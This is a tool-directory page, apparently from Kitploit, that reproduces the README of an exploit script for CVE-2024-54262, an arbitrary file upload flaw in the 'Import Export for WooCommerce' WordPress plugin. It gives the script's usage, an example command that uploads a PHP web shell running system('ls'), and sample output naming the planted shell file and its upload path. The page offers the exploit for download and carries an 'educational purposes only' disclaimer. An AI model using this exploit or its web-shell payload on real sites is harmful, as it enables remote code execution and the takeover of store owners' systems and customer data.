Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-54262 — Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce | Kitploit
Tools/GitHubGitHub/nxploited/cve-2024-54262
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnxploited/cve-2024-54262

CVE-2024-54262

Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-54262

Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce

Overview

This script exploits a vulnerability in the "Import Export for WooCommerce" WordPress plugin. The vulnerability allows unauthorized users to upload arbitrary files, leading to potential remote code execution (RCE).

Features:

  • Version Detection: Automatically checks if the WordPress site is running a vulnerable plugin version.
  • Authentication: Supports WordPress login for further exploitation.
  • File Upload: Allows uploading of malicious PHP files for RCE.

Prerequisites:

  1. Python 3.x
  2. Required Python libraries:
    • requests
    • argparse

Install dependencies using:

root@kitploit:~
pip install requests

3.Ensure the target WordPress site uses the vulnerable version of the plugin.

Usage:

root@kitploit:~
usage: CVE-2024-54262.py [-h] --url URL --username USERNAME --password PASSWORD [--command COMMAND]

Exploit CVE-2024-54262: Arbitrary File Upload in Import Export for WooCommerce

options:
  -h, --help            show this help message and exit
  --url URL, -u URL     Base URL of the WordPress site
  --username USERNAME, -un USERNAME
                        Username for login
  --password PASSWORD, -p PASSWORD
                        Password for login
  --command COMMAND, -c COMMAND
                        PHP shell code to upload

Example:

root@kitploit:~
 CVE-2024-54262.py --url https://example.com --username admin --password admin --command "<?php system('ls'); ?>"

Output Explanation

  1. The site is vulnerable.
    • Indicates that the WordPress site is running a vulnerable plugin version.
  2. Logged in successfully.
    • Confirms successful login with the provided credentials.
  3. root@kitploit:~
    {
        "status": true,
        "code": 104,
        "message": "Success",
        "data": {
            "file_name": "import_manual_1737090262.php",
            "total_requests": 1,
            "import_columns": "all",
            "product_search_type": "SKU",
            "product_operation": "create_new_update_existing",
            "field_separator": ","
        }
    }
    
    
    
  • Shell Name: import_manual_1737090262.php
  • Shell Path: wp-content/uploads/import-export-for-woocommerce/product/

Disclaimer

This tool is for educational purposes only. The author is not responsible for any misuse or damages caused by this script. Unauthorized access or exploitation of systems without explicit permission is illegal and unethical.

Download Tool